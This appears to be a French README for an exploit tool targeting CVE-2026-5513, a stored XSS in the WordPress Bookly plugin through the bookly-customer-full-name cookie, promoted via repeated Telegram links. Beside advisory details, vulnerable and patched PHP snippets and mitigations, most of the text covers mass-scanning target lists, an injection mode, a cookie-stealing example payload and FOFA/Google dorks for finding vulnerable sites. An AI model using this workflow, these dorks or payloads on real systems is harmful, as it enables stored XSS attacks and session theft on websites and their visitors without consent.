
CVE-2026-5513 — Bookly ≤ 27.2 XSS stocké via cookie
CVE-2026-5513 — Bookly ≤ 27.2 XSS stocké via Cookie CVE-2026-5513 — Bookly ≤ 27.2 XSS stocké via Cookie CVE CVSS Type Auth https://t.me/FreeToolsCpa Fichier CVE dans le groupe
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-5513 |
| Vulnérabilité | Cross-Site Scripting stocké (XSS) |
| Plugin | Bookly — Système de planification et de réservation de rendez-vous en ligne |
| Affecté | ≤ 27.2 |
| Corrigé | 27.3+ |
| CVSS 3.1 | 7.2 (Élevé) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Authentification requise | Aucune |
| Prérequis | La fonction « Se souvenir des informations personnelles dans les cookies » doit être activée (désactivée par défaut) |
Le plugin Bookly pour WordPress est vulnérable à un Cross-Site Scripting stocké via le cookie bookly-customer-full-name dans les versions jusqu'à 27.2 incluse en raison d'un assainissement insuffisant des entrées et d'un échappement des sorties inadéquat.
Lorsque le paramètre « Se souvenir des informations personnelles dans les cookies » est activé, le plugin lit la valeur du cookie bookly-customer-full-name et la restitue directement dans le HTML du formulaire de réservation sans échappement approprié. Un attaquant non authentifié peut injecter des charges utiles JavaScript arbitraires via ce cookie, qui s'exécutent lorsque tout utilisateur (y compris les administrateurs) visite une page contenant le formulaire de réservation Bookly.
bookly-customer-full-name=<script>...</script>)
→ Visite une page avec le formulaire de réservation Bookly
→ Le plugin lit le cookie, restitue la valeur sans échappement
→ La charge utile XSS s'exécute dans le contexte du navigateur de la victime// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Sondage automatique IP/Domaine (HTTP/HTTPS, ports courants, détection de redirection) ✓ Détection du plugin WordPress & Bookly avec vérification de version ✓ Détection du paramètre de cookie (analyse JS BooklyL10n + réflexion canary) ✓ Test XSS multi-contextes (HTML, JavaScript, injection d'attribut) ✓ Injection de charge utile avec vérification de réflexion ✓ Cible unique ou scan de masse depuis un fichier ✓ Scan multi-threadé (jusqu'à 20 threads) ✓ Support proxy (Burp, etc.) ✓ Enregistrement automatique des résultats vulnérables ✓ Menu interactif + modes CLI
pip install requests colorama
# Vérifier une seule cible
python CVE-2026-5513.py -u https://target.com -v
# Vérifier une seule IP (sondage automatique des ports + redirections)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Vérifier + injecter la charge utile XSS
python CVE-2026-5513.py -u https://target.com --inject -v
# Charge utile XSS personnalisée
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Scan de masse depuis un fichier
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# Avec proxy Burp
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
L'outil accepte l'un de ces formats dans -u ou dans le fichier de liste de cibles :
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Pour les IP nues, l'outil automatiquement :
ÉTAPE 0 → Sonder la cible (IP/domaine → résoudre l'URL de base, détecter les redirections)
ÉTAPE 1 → Détecter le plugin Bookly (readme.txt, dossier plugin, assets, vérification de version)
ÉTAPE 2 → Vérifier le paramètre de cookie (analyse JS BooklyL10n + test de réflexion canary)
ÉTAPE 3 → Tester la réflexion XSS (contexte HTML, contexte JS, contexte d'attribut)
ÉTAPE 4 → Injecter la charge utile (si mode --inject, vérifier la réflexion)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Priorité | Action |
|---|---|
| 🔴 | Mettre à jour Bookly vers la version 27.3+ |
| 🟡 | Désactiver « Se souvenir des informations personnelles dans les cookies » dans Paramètres Bookly → Général |
| 🟢 | Déployer des règles WAF pour filtrer les XSS dans les valeurs des cookies |
| 🟢 | Mettre en œuvre des en-têtes Content-Security-Policy (CSP) |
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur n'est pas responsable de toute utilisation abusive de cet outil.
https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa
| Flag | Description |
|---|
| -u URL | Cible unique (URL, domaine ou IP) |
| -l FILE | Fichier contenant la liste des cibles (une par ligne) |
| --inject | Injecter la charge utile XSS (par défaut : vérification uniquement) |
| --payload STR | Charge utile XSS personnalisée |
| -t N | Nombre de threads (par défaut : 10, max : 20) |
| --proxy URL | Proxy HTTP (ex. http://127.0.0.1:8080) |
| -o FILE | Enregistrer les résultats dans un fichier |
| -v | Sortie verbeuse |